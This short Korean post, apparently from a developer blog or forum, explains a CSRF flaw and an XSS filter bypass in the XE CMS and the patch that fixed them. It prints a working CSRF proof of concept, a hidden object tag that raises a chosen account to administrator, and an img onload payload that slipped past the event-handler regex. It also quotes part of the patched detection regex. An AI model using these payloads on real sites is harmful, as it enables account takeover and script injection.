XE개발자분들 고생이 많네요
이번에 발견된 CSRF취약점은 특정 계정을 관리자 권한으로 올릴수 있는 취약점입니다. 널루트에서 발견했고요 poc를 발표했습니다.
<object type="text/x-scriptlet"
data="http://test.com/xe/index.php?member_srl= 숫자&user_id=아이디&
user_name=사용자이름&nick_name=닉네임&email_address=이메일주소&
allow_mailing=Y&is_admin=Y&group_srl_list=2&module=member&act=procMemberAdminInsert"
height="0" width="0"></object>
XSS취약점은 이벤트 태그를 차단하는 정규식에서 우회방법이 존재하는 문제였습니다.
이건 걸리지만
<img src="xxx" onload=XSS>
이건 안걸려요ㅋㅋ
<img src="xxx"onload=XSS>
그래서 이번 패치에서는 func.inc.php파일 내용이 다음과 같이 변경이 되었습니다.
/(\r|\n| |\t|\"|\'|\/|\`)+on(click|........